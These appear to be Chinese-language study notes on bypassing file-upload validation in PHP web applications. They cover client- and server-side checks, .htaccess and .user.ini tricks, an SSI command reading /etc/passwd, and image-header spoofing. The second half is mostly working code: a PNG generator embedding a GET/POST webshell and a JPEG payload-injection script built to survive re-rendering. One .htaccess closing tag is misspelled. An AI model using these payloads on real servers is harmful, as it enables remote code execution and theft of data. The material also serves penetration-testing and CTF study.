文件上传

绕过姿势

客户端校验

  1. 禁用JS

  2. 抓包改包

    bp抓包后改后缀名

服务端校验

  1. MIME类型检测

    MIME类型在html文件中使用content-type属性表示。

    常见文件名对应的MIME类型:

    gif —> image/gif,png —> image/png,jpg —> image/jpg,js —> text/javascript,htm/html —> text/html

  2. 后缀名黑名单校验

    • 绕过方法

      • 大小写绕过,例如Php、PhP

      • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps

      • 00截断

        注:需要magic_quotes_gpc=Off,基于一个组合逻辑漏洞

        在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

      • .htaccess文件上传解析
        该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

        1270588-20190608001655034-1813168060

        1
        2
        3
        <FilesMatch "xxx.jpg">
        SetHandler application/x-httpd-php
        </FilesMacth>

        不能写<?时使用伪协议:

        1
        2
        AddType application/x-httpd-php .xxx
        php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

        不能出现某些关键字(如phphp)时,使用反斜杠(\)拼接绕过,并开启短标签:

        1
        2
        3
        4
        5
        6
        7
        AddType application/x-httpd-p\
        hp .jpg
        p\
        hp_value au\to_append_file "p\
        hp://filter/convert.base64-decode/resource=shell.jpg"
        p\
        hp_value short_open_tag 1
      • .user.ini上传

        1270588-20190903201901495-357084982

        条件:

        a. 服务器脚本语言为PHP

        b. 服务器使用CGI/FastCGI模式

        c. 上传目录下要有可执行的php文件

        实例:

        上传.user.ini绕过黑名单检验

        1
        2
        3
        GIF89a                  //绕过exif_imagetype()
        auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
        auto_append_file=a.jpg //解析后进行包含

        优势:

        .htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

      • 超长文件名截断上传

        windows - 258byte | linux - 4096byte

        使用./.

      • shtml

        当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
        <!--#exec cmd="cat /etc/passwd"-->

  3. 后缀名白名单校验

    • 配合Apache的解析缺陷

      Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

  4. 内容头校验

    • 绕过方法

      在恶意脚本前加上允许上传文件的头标识

      1270588-20190608001745984-703396364

      如添加GIF头:

      1
      2
      GIF89a
      <?php phpinfo(); ?>

  5. 竞争上传

  6. php崩溃导致tmp文件保留

    当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道/tmp目录下的文件名。

  7. 过滤<?php

    • js标签绕过

      需要php小于7.0

      1
      2
      3
      4
      5
      <script language="PHP">
      $fh=fopen("../flag.".strtolower("PHP"),'r');
      echo fread($fh,filesize("../flag.".strtolower("PHP")));
      fclose($fh);
      </script>
    • PHP短标签

      开启短标签即short_open_tag=on时,可以使用<?=$_ ?>输出变量,在PHP 5.4 之后默认支持

      1270588-20200227205858878-1841856625

  8. phar反序列化漏洞

    phar反序列化

  9. 二次渲染

    图片马的三种常用图像格式gif,png,jpg。

    • 简单图片马

      copy 1.jpg/b + 1.php/a 2.jpg

    • 二次渲染绕过

      • gif

        对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器。

      • png

        对于png图片,修改难度大一点,使用一个脚本来生成,原理是通过真实像素的二进制解析写入数据段。

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        <?php
        $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
        0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
        0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
        0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
        0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
        0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
        0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
        0x66, 0x44, 0x50, 0x33);

        $img = imagecreatetruecolor(32, 32);

        for ($y = 0; $y < sizeof($p); $y += 3) {
        $r = $p[$y];
        $g = $p[$y+1];
        $b = $p[$y+2];
        $color = imagecolorallocate($img, $r, $g, $b);
        imagesetpixel($img, round($y / 3), 0, $color);
        }

        imagepng($img,'./1.png');
        ?>

        运行脚本即可生成,这里的一句话木马是:

        <?$_GET[0]($_POST[1]);?>

        使用方式是get传参0,加上post传参1。

      • jpg

        由于jpg图片易损,对图片的选取有很大关系,很容易制作失败。

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        65
        66
        67
        68
        69
        70
        71
        72
        73
        74
        75
        76
        77
        78
        79
        80
        81
        82
        83
        84
        85
        86
        87
        88
        89
        90
        91
        92
        93
        94
        95
        96
        97
        98
        99
        100
        101
        102
        103
        104
        105
        106
        107
        108
        109
        110
        111
        112
        113
        114
        115
        116
        117
        118
        119
        120
        121
        122
        123
        124
        125
        126
        127
        128
        129
        130
        131
        132
        133
        134
        135
        136
        137
        138
        139
        140
        141
        142
        143
        144
        145
        <?php
        $miniPayload = "<?=phpinfo();?>";

        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
        }

        if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
        }

        set_error_handler("custom_error_handler");

        for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
        $startPos = $dis->seek();
        $outStreamTmp =
        substr($outStream, 0, $startPos) .
        $miniPayload .
        str_repeat("\0",$nullbytePayloadSize) .
        substr($outStream, $startPos);
        checkImage('_'.$argv[1], $outStreamTmp, TRUE);
        if($extraBytes !== 0) {
        while((!$dis->eof())) {
        if($dis->readByte() === 0xFF) {
        if($dis->readByte !== 0x00) {
        break;
        }
        }
        }
        $stopPos = $dis->seek() - 2;
        $imageStreamSize = $stopPos - $startPos;
        $outStream =
        substr($outStream, 0, $startPos) .
        $miniPayload .
        substr(
        str_repeat("\0",$nullbytePayloadSize).
        substr($outStream, $startPos, $imageStreamSize),
        0,
        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
        substr($outStream, $stopPos);
        } elseif($correctImage) {
        $outStream = $outStreamTmp;
        } else {
        break;
        }
        if(checkImage('payload_'.$argv[1], $outStream)) {
        die('Success!');
        } else {
        break;
        }
        }
        }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');

        function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
        unlink($filename);
        return $correctImage;
        }

        function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
        $extraBytes = (int)$m[1];
        }
        }
        }

        class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
        if(!file_exists($filename) || !is_file($filename))
        die('File not exists ['.$filename.']');
        $this->binData = file_get_contents($filename);
        } else {
        $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
        }

        public function seek() {
        return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
        if($this->eof()) {
        die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
        }

        public function readShort() {
        if(strlen($this->binData) < 2) {
        die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
        $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
        $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
        }

        public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
        }
        }
        ?>

        运行脚本命令:

        jpg_payload.php 1.jpg